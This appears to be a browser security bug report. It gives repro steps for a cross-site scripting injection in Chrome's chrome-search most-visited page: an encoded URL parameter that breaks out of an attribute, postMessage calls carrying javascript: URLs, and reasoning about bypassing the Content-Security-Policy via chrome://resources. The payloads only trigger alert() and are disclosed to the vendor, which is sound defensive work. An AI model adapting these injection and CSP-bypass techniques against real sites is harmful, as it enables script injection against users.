From claudioc@google.com

repro steps:

chrome-search://most-visited/single.html?removeTooltip=%27%22%20class%3dmv-x%3E%3C/div%3E%3C/a%3E%3Ca%20href%3d%22javascript:alert(1)%22%3Efoo%3C/a%3E

then 
window.postMessage({cmd: "tile", id: 123, tid:456, url: "javascript:alert(1)", title: "foo", thumbnailUrl: "javascript:alert(2)"},"*")
window.postMessage({cmd:"show"}, "*")

[in fairness, you can also leave the removeTooltip empty, it's going to trigger anyway]. 

CSP blocks us here so it's not really exploitable, but I figured I'd mention in case you see something we don't.

The CSP in this case is interesting:

Content-Security-Policy:script-src chrome://resources 'self' 'unsafe-eval'; object-src 'none';frame-src 'none';

It contains chrome://resources, which contains the latest copy of the Polymer library. I think we can circumvent CSP in this case if we can include resources from chrome://resource. However, in our manual tests, the inclusion was blocked by Chrome since the "chrome-search" scheme seems to have some special handling for script includes. We were thus unsure why chrome://resource is even on the white list if you cannot include scripts from it.